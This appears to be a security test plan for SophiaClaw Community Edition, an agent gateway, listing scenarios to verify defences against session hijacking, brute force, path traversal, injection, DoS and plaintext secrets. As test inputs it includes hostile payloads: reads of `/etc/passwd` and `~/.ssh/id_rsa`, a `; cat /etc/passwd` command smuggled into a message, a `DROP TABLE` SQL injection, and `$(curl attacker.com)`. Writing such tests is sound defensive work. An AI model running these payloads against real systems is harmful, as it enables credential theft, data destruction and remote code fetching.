# Security Test Scenarios

This document outlines the comprehensive security test scenarios required to validate the safety and integrity of the SophiaClaw Community Edition. These scenarios should be executed manually and incorporated into automated E2E tests wherever possible.

## Authentication & Session Scenarios

### Scenario A1: Session Hijacking

- **Objective:** Ensure sessions cannot be trivially reused or hijacked from another host.
- **Steps:**
  1. Authenticate user A and acquire a valid session token.
  2. Attempt to use this token from a different IP address or user-agent (if bound).
  3. Modify the token signature by one byte and verify it is rejected.
- **Expected Result:** Unauthorized access error. Session is dropped or flagged.

### Scenario A2: Brute Force Resistance

- **Objective:** Verify lockouts or throttling on repeated failed authentications.
- **Steps:**
  1. Script 1,000 login attempts with invalid credentials against the Gateway API within 60 seconds.
- **Expected Result:** System returns HTTP 429 Too Many Requests after N attempts.

## Path Traversal & File Access

### Scenario F1: `applyPatch` Workspace Escape

- **Objective:** Ensure tool operations strictly respect `tools.fs.workspaceOnly`.
- **Steps:**
  1. Authenticate a valid session.
  2. Instruct the agent/CLI to apply a patch to `../../../../../etc/passwd`.
- **Expected Result:** Tool throws an explicit error indicating path is outside the allowed workspace.

### Scenario F2: Arbitrary File Read

- **Objective:** Prevent agents from reading sensitive files on the host.
- **Steps:**
  1. Send a request to read `~/.sophiaclaw/credentials/` or `~/.ssh/id_rsa`.
- **Expected Result:** File operation is blocked by the runtime boundary controls.

## Injection & Command Execution

### Scenario C1: Shell Metacharacter Injection

- **Objective:** Ensure terminal commands are properly escaped.
- **Steps:**
  1. Run `sophiaclaw agent --message "hello; cat /etc/passwd"`.
- **Expected Result:** The message is treated as a literal string. No arbitrary shell execution occurs on the Gateway.

### Scenario C2: Malicious Webhook Payload

- **Objective:** Test extension webhook endpoints for SQL/NoSQL injection or command injection.
- **Steps:**
  1. Send a POST request to an extension webhook containing `{"text": "'; DROP TABLE users; --"}` or `$(curl attacker.com)`.
- **Expected Result:** Payload is safely parsed and rejected if validation fails, but no execution or database corruption occurs.

## Denial of Service (DoS)

### Scenario D1: Memory Exhaustion via Large Payloads

- **Objective:** Ensure the API Gateway rejects overly large payloads.
- **Steps:**
  1. Construct a 1GB JSON payload.
  2. Send it to an unauthenticated or authenticated endpoint.
- **Expected Result:** The gateway drops the request before fully parsing it (HTTP 413 Payload Too Large) and the process does not crash.

### Scenario D2: Resource Monitor Thresholds

- **Objective:** Validate the `ResourceMonitor` tracks usage correctly.
- **Steps:**
  1. Open a script that spawns 1,000 simultaneous connections.
- **Expected Result:** Resource monitor emits a `warning` or `critical` alert, and CircuitBreaker halts further connections to prevent a crash.

## Data Protection & Integrity

### Scenario P1: Plaintext Secrets on Disk

- **Objective:** Validate that no new credentials are written in plaintext.
- **Steps:**
  1. Complete a fresh onboarding flow.
  2. Add an OpenAI key.
  3. Inspect `~/.sophiaclaw/credentials/`.
- **Expected Result:** All newly written credential files use AES-GCM and contain version 1 metadata. No plaintext keys are found.

### Scenario P2: Tampered Log Integrity

- **Objective:** Ensure `log-integrity.ts` correctly detects file tampering.
- **Steps:**
  1. Open a signed log file.
  2. Manually alter the text of an existing entry.
  3. Run the log verification command.
- **Expected Result:** The system explicitly reports a hash mismatch and flags the tampered entry.